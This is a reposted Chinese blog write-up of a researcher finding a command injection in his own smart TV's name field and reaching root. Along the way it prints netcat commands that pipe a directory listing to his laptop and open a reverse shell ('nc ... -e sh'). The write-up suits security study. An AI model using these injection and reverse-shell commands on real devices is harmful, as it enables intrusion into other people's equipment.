閱讀885 返回首頁    go 微軟 go windows


看我如何躺在床上黑掉自家智能電視


0?wx_fmt=jpeg

那是一個慵懶的夜晚,經過了一天忙碌的工作之後,我隻想躺在床上靜靜地看會兒電視。不過在此之前,有一個朋友送了我一台路由器,而我卻在這台路由器中發現了一個安全漏洞,辛苦工作了一天,我也一直在努力克製自己不要再去想這個漏洞了,但是沒辦法,我還是不停地在想這個問題,因為能夠在這種設備中發現漏洞絕對是一件非常有意思的事情,而這些漏洞不僅是普通用戶無法發現的,而且甚至連產品的開發人員以及公司的技術支持部門都對此毫不知情。


故事開始


由於當晚我已經非常累了,因此我在電視上設置了一個睡眠時間之後便趕緊躺上床了。但是在設置睡眠時間的過程中出於職業本能,我翻看了一下設置選項菜單,看看有沒有隻對開發人員開放的功能。在用手機Google了一番之後,我發現這個牌子的智能電視有一個控製代碼可以打開隱藏菜單。


接下來, 我通過遠程控製在電視的設置菜單中輸入了這段控製代碼,然後屏幕左側便彈出了一個菜單。但幾乎所有的選項都是不可訪問的,我隻能訪問其中一個名叫“Hotel Mode”(酒店模式)的選項,並查看電視的版本號。除此之外,還有一個名叫“info”(信息)的選項,打開它之後我發現了一件非常有意思的事情:我可以給我家的智能電視設置一個名字。


智能電視中的安全漏洞


如果你也是信息安全從業者,那麼你可能會不由自主地在其他地方測試你平時所使用的payload,可以是路由器Web接口的一個GET參數,也可以是你打印機的控製麵板,而我現在遇到的是一台智能電視。接下來,我突發奇想地把電視命名為了’sleep 5’。

0?wx_fmt=jpeg


設置完成之後,我的電視卡了好久都沒響應。當它有反應之後,我又修改了電視的名稱,我當時並不認為自己發現了一個命令注入漏洞,因為我的電視在更改設置之後,經常都會有幾秒鍾的卡頓,但這一次的卡得未免也有些太久了,所以這也勾起了我的好奇心。


由於卡頓時間已經超過了五秒,與電視名稱裏設置的‘5’並不匹配,因此我認為係統可能會對這個數字進行一些特殊處理。當然了,也有可能是因為電視不支持這個參數,而這個參數會引發電視出現異常,所以才會導致電視出現卡頓。但是當我嚐試將其改名為‘sleep 0’之後,電視卻並沒有出現卡頓。


事實就擺在我的眼前,但是我卻不知道其中緣由,所以我打算測量一下這個數字與時間之間的數學關係。原來,名稱裏的數字(我們所輸入的)乘以3才是電視機真正的響應間隔時間,比如說:



sleep(2) – 6秒sleep(3) - 9秒sleep(5) - 15秒


在智能電視中執行遠程命令


這你敢信?我的第一次嚐試就找到了一個命令注入漏洞!但僅僅讓菜單卡住並不能成為一個有說服力的PoC,而且在實際的漏洞利用過程中也沒什麼用。由於我們在這裏隻能輸入31個字符,去掉兩個引號之後,意味著我們的Payload隻剩29個字符了。


下麵給出的這個列表就是所以我嚐試過的命令:

0?wx_fmt=jpeg


由於當時已是深夜,所以我果斷上床睡覺了,並打算在第二天看看是否可以拿到電視機的shell。第二天起床之後,我便趕緊拿起筆記本電腦和網線開始幹活,而讓我欣喜若狂的是,我可以通過遠程控製讓智能電視運行係統指令。


拿到智能電視的Shell


我家的電視掛在牆上,所以插網線的過程讓我有些“力不從心”,因為我的肩膀當時就因為這個弄脫臼了,但最終我還是把網線插了進去,然後與我的筆記本電腦相連接,並利用ipconfig命令查看筆記本的IP地址。


0?wx_fmt=jpeg


既然我已經知道了筆記本的IP地址,那麼現在我隻需要拿到筆記本的反向Shell(Reverse shell)即可,而無需知道電視機的IP地址。更重要的是,反向Shell可以繞過所有的防火牆規則(阻止進入的連接)。但是在此之前,我還需要更加深入地了解這台智能電視。


在智能電視上使用Netcat


我發現智能電視上默認安裝了“nc”,所以我可以利用“nc”指令將特定命令的輸出結果傳回給筆記本電腦。當然了,我首先測試的是“id”,而運行結果可以讓我知道自己是否擁有智能電視的root權限。


0?wx_fmt=jpeg


如上圖所示,輸出結果表明我已經擁有root權限了,雖然這沒啥好驚訝的,但這仍是一個好消息。接下來,我準備利用`ls-la /|nc 169.254.56.216 5`這條命令來獲取到根目錄的文件列表。


0?wx_fmt=jpeg


目前一切順利,但我還是沒有拿到電視的Shell。考慮到電視機默認安裝的“nc”版本允許我們使用“-e”參數,因此我們可以通過`nc 169.254.213.210 5 -e sh`這條命令來拿到一個反向Shell。


0?wx_fmt=jpeg


成功拿到智能電視的Shell


很好,我已經拿到了電視的Shell了,那麼接下來的可能性就無限大了,比如說修改電視啟動界麵的Logo,或者修改應用的圖標等等。由於這是一台智能電視,所以它會預安裝很多例如Youtube或Skype這樣的App。


0?wx_fmt=jpeg


我發現,智能電視絕大多數的文件係統都隻有讀權限(Read-Only),所以我沒辦法修改啟動界麵的Logo。但是電視裏也有很多圖片是會經常變化的,比如說當你在換頻道的時候所顯示的頻道預覽圖,這些圖片顯示的就是各個頻道的節目截圖。很明顯,這些圖片需要在文件係統中的某個地方保存,而這個目錄就是你可以實現讀寫的地方。


研究之後,我發現係統中所有的圖標都是.png文件,但是當我通過命令“find/ -name *.png”來查找所有帶有.png後綴的文件時,並沒有找到這些預覽圖。然而,當我嚐試用同樣的方法搜索.jpg文件時,我發現了一些文件名類似channelImage123.jpg的文件,於是我便用其他的圖片替換了相應的channelImage文件,結果如下圖所示:


0?wx_fmt=jpeg

原文發布時間為:2017-04-21

本文來自雲棲社區合作夥伴“大數據文摘”,了解相關信息可以關注“BigDataDigest”微信公眾號

最後更新:2017-05-17 13:32:52

  上一篇:go  機器學習中的線性代數:關於常用操作的新手指南
  下一篇:go  域名投資——堅定不移走價值投資路線